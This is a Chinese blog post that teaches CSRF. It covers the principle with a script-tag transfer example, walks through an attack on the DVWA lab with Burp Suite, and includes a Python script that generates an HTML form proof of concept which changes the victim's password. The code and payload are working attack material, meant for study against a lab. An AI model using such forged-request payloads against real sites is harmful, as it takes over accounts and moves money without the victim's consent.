zoukankan      html  css  js  c++  java
  • 浅谈CSRF漏洞

    前言:
    看完小迪老师的CSRF漏洞讲解。感觉不行
    就自己百度学习。这是总结出来的。
     
    歌曲:
     
    正文:
    CSRF与xss和像,但是两个是完全不一样的东西。
    xss攻击(跨站脚本攻击)储存型的XSS由攻击者和受害者一同完成。xss详细介绍:点我跳转
     
    CSRF(跨站脚本伪造)完全由受害者完成。攻击者不参与其中。CSRF详细介绍:点我跳转
     
    CSRF原理:
     
    银行转账的数据包:http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000
    攻击者的博客:http://www.hack.com/index,php
    把这个加入到js里面。<script src="http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000"></script>将这条代码计入到攻击者的博客。如果受害者登录了银行。而Session又没有过期,后而访问了攻击者的博客。当攻击者的博客加载好了js代码。受害者就会打了1000元给攻击者。
     
    实验:
    这里我使用DVWA来做使CSRF漏洞实现。攻击步骤如下:
    首先登录DVWA,来到CSRF这里。 注:这里我的防御等级为low
    启动Burpsuite,设置代理。

    回到刚刚的页面,输入要更改的密码。burp开启抓包
     
    抓到的包
    构造CSRF POC
    更改所需要的
    点击Regenerate按钮更新POC,点击Test in browser复制链接
    点击Copy按钮。复制到浏览器上使用
    点击按钮实行csrf攻击。
    从图中我们可以看到密码已经更改,退回登录界面。
    点击登录
    从图中我们可以看到,CSRF攻击已经成功实施。
    既然如此我们为什么不写一个CSRF脚本呢?
    代码如下:
    import time
    import simplejson as json
    def poc():
        url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
        headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
        values=url.split('?')[-1]
        urltwo=url.split('?')[:-1]
        urltwos="".join(urltwo)
        dumps={}
        for line in values.split('&'):
            key,value=line.split('=',1)
            dumps[key]=value
            discts=[i for i in dumps.keys()]
        print('原url:',url)
        print('url原带的参数:',dumps)
        dumps['password_new'] = 'password'
        dumps['password_conf'] = 'password'
        valueswto=[g for g in  dumps.values()]
        print('url更该后的参数',dumps)
        print('1.burpsuite的POC')
    
    
        user=input('请进行你的选择:')
        if user == '1':
            print('burpsiuite的POC')
            burp=open('burp.html','w')
            burp.write('<html>
    ')
            burp.write('<body>
    ')
            burp.write('<script>history.pushState("''","''",'"'/'"')</script>
    ')
            burp.write('<form action="{}">
    '.format(urltwos))
            burp.write('<input type="hidden" name="{}" value="{}"/>
    '.format(discts[0],valueswto[0]))
            burp.write('<input type="hidden" name="{}" value="{}"/>
    '.format(discts[1],valueswto[1]))
            burp.write('<input type="hidden" name="{}" value="{}"/>
    '.format(discts[2],valueswto[2]))
            burp.write('<input type="submit" value="Submit CSRF POC"/>
    ')
            burp.write('</form>
    ')
            burp.write('</body>
    ')
            burp.write('</html>
    ')
            burp.close()
        else:
            print('【-】抱歉你没有进行选择,退出ing...')
            time.sleep(1)
            exit()
    
    
    
    poc()
    

      测试结果如下:

    生成的html

    打开burp.html

     点击按钮

    密码更改成功。

    有关CSRF的资料:《CSRF原理》

    《深入CSRF解析》

    《从0开始学CSRF》

  • 相关阅读:
    解决spring boot JavaMailSender部分收件人错误导致发送失败的问题
    Linux设备驱动开发基础--内核定时器
    Linux中断分层--工作队列
    Linux中断分层--软中断和tasklet
    深入理解函数线程安全与可重入
    Linux中断处理流程
    Linux混杂设备驱动--按键设备驱动
    Linux字符设备驱动--Led设备驱动
    Linux字符设备简单示例
    Linux内核硬件访问技术
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8903239.html
Copyright © 2011-2022 走看看